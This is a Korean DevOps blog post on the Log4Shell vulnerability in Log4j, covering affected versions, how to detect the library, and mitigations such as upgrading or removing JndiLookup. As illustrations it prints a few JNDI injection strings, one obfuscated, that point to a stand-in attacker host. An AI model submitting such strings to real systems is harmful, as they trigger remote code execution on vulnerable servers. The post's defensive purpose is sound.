본문 바로가기
INFRA/DevOps

[DevOps] Log4j 보안취약점 및 해결 방법

by BTC_오은영석사 2023. 12. 29.

베하~ 안녕하세요!

금쪽상담소의 오은영박사와 금쪽이입니다!!

올해도 금방 이렇게 다 지나가고 있네요 올 한해 어떤 한해였을까요?

한해동안 많은 일들이 있었겠지요? 수고 많으셨습니다. 

올해 마지막주제는 Log4j 보안취약점 및 해결 방법입니다! 

Log4j에 대해서 모르시는 분들은 아래 글을 참고하시면 될것같습니다!

↓              ↓               ↓               ↓               ↓               ↓               ↓              ↓

 

[DevOps] Log4j 란?

베하 안녕하세요! 금쪽상담소의 오은영석사와 금쪽이 입니다~ 추운겨울 잘 보내시고 계신가요? 감기 조심하시길 바라며 오늘의 주제인 Log4j에 대해 알아보도록 하겠습니다! Log4j 란? Log란 컴퓨터

btcd.tistory.com

 


 

Log4j의 취약점

 

취약점은 역대 비디오게임 판매량 1위 온라인게임인 마인크래프트(Minecraft)에서 처음 확인되었습니다.

자바 언어로 개발된 마인크래프트 버전에서 특정 채팅 메시지를 입력하면, 대상 컴퓨터에서 원격으로 프로그램을 실행할 수 있습니다.

이러한 방식으로 쉽게 서버 또는 클라이언트의 권한을 빼앗아 마음대로 조종하는 종류의 공격이 가능함이 확인된 것입니다.

처음에는 그저 짖궃은 장난, 게임 플랫폼에서만 일어나는 종류의 위협으로 생각되었으나, 잠재적으로 이 라이브러리를 사용하는 모든 소프트웨어에 영향을 미친다는 것이 밝혀졌습니다. 

 

 - ${jndi:rmi://공격자URL}
 - ${jndi:ldap://공격자URL}
 - ${jndi:${lower:l}${lower:d}a${lower:p}://공격자URL}

 

공격자가 요청에 위와 같이 요청할 시, 해당 취약점이 트리거됩니다. 

Log4j의 포맷 언어에는 코드를 트리거하는 기능이 포함되어 있습니다. 

위와 같은 문자열 ${jndi:https://attacker.com/pwnyourserver} 이(가) 포함된 메시지가 로그에 기록되면, Java는 원격 서버에서 참조된 개체를 가져와 적절한 코드를 실행합니다.

공격자가 이 취약점을 이용하려면 대상 프로그램이 기록할 메시지를 생성해야 합니다.

이 메시지는 말그대로 '기록'이기 때문에 URL의 내용, 로그인 이름, 데이터 조각 등 무엇이든 될 수 있습니다. 

 

해커들이 이 취약점을 공격하면 목표 대상 컴퓨터의 모든 권한을 취득할 수 있게 되는 것입니다.

더욱 큰 문제는 해당 취약점을 악용해 공격을 감행하는 데 별다른 기술이 필요하지 않다는 점입니다.

 

따라서 비밀번호도 없이 손쉽게 서버를 통해 내부장에 접근해 데이터를 약탈하거나 랜섬웨어를 설치할 수도 있고, 중요 데이터를 삭제할 수도 있습니다. 이에 따라 수 많은 사이버 범죄자들이 악용할 가능성이 높다는 우려가 제기되는 상황입니다.

 

이번 취약점에 대해 아파치 재단은 보안 심각도 등급을 가장 높은 10으로 지정했으며, 문제를 해결하는 업데이트 버전의 Log4j 2.15.0을 출시한 상태입니다.

 

현재까지 취약점에 영향을 받는 버전은 Log4j 2.0-beta9 에서 2.14.1까지 모든 버전에 해당되기 때문입니다.

애플, 아마존, 스팀, 트위터, 구글, 테슬라 등 글로벌 IT 기업은 물론 정부 부처 등 웹사이트를 운영하는 대다수가 Log4j를 사용하고 있어 해커들의 공격 타깃이 매우 광범위할 수 있습니다.


따라서 현재 전 세계의 공공기관과 주요 기업들은 취약점 패치를 위해 보안 업데이트에 적극 나서고 있습니다. 

 

 

Log4j 취약점 패치가 어려운 이유

엄청난 수의 프로젝트에 패치를 적용해야 하는 것이 문제입니다.

Log4j는 많은 프로젝트에서 사용되는 라이브러리이기 때문에, 패치를 통합하기 위해서는 이 라이브러리가 포함된 모든 프로젝트를 업데이트해야 합니다.

하지만 Log4j 라이브러리에 종속된 다른 라이브러리들에 대한 의존성 문제가 있기 때문에 하나의 프로그램을 패치하는 것으로 끝나는 것이 아니라 잠재적으로 수천 개의 프로그램을 패치하는 것이며 일부 프로그램들은 의존성이 있는 코드가 먼저 패치될 때 까지 패치할 수 없는 문제도 있습니다.

 

 

 

Log4j 취약점 버전과 확인 방법

각 취약점마다 영향을 받는 Log4j 버전은 약간 다릅니다.

1. Log4j를 사용 중인 제품에 관한 정보는 아래에서 확인이 가능합니다.

https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

 

2. 리눅스에서 log4j 설치 여부 확인하기: 아래 명령어를 입력하시면 됩니다. 이 방법으로 log4j-core 버전도 확인하실 수 있습니다.

- find / -name 'log4j*'

 

3. 윈도에서 log4j 설치 여부 확인하기

 

4. 공개 도구를 사용하는 방법도 있습니다.

- Syft와 Grype 도구를 사용하는 방법: https://github.com/anchore/grype

- 취약점 스캐너를 사용하는 방법: https://github.com/logpresso/CVE-2021-44228-Scanner

 

5.와탭 사용자라면 좀 더 손쉽게 확인 가능합니다.

[애플리케이션] → [에이전트 설정]에서 [라이브러리 버전] 기능에서 확인 할 수 있습니다.

log4j-core를 검색 해 보세요

또 다른 방법으로는 애플리케이션의 pom.xml 또는 gradle.build 파일을 열어 log4j-core로 검색 해 볼 수도 있습니다.

 

 

 

Log4j 버전별 해결 방법

먼저, 최신 버전으로 업데이트를 하는 게 최선의 방법입니다. 

https://logging.apache.org/log4j/2.x/download.html 에서 최신 버전 확인이 가능합니다.

다만, 빠른 시간 내에 라이브러리를 업데이트 하고 재 검증하는 게 현실적으로 어려울 수 있는데, 버전에 따른 선제 조치를 아래와 같이 취할 수 있습니다.

 

1. Log4j 버전이 2.0-beta9부터 2.10.0일 경우: JndiLookup 를 log4j-core 에서 제거하는 방법이 있습니다. 라이브러리 경로에서 아래 명령을 실행하면 JndiLookup.class 가 제거됩니다.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

 

2. Log4j 버전이 2.10부터 2.14.1인 경우: lo4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경 변수를 true로 설정하면 됩니다.

 

3. JVM 옵션으로 JndiLookup 기능을 제한 하는 방법: -Dlog4j2.formatMsgNoLookups=true 옵션과 함께 애플리케이션을 실행합니다.

java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

 

4. Log4j 버전이 1.x인 경우: JMSAppender 사용 확인 후 코드 수정을 하거나 삭제하시면 됩니다.

 


 

올해 마지막 주제인 Log4j 보안취약점 및 해결 방법에 대해 알아보는 시간이였습니다.

유익한 시간이였을까요?

그럼 내년에 만나요 베빠~

 

출처 

https://y-oni.tistory.com/307

https://www.whatap.io/ko/blog/100/

'INFRA > DevOps' 카테고리의 다른 글

[Git] switch/restore  (0) 2024.02.28
[K8S] Rollout  (0) 2024.01.08
[DevOps] Log4j 란?  (1) 2023.12.29
[K8S] ConfigMap  (1) 2023.12.08
[DevOps] Django  (0) 2023.12.07

댓글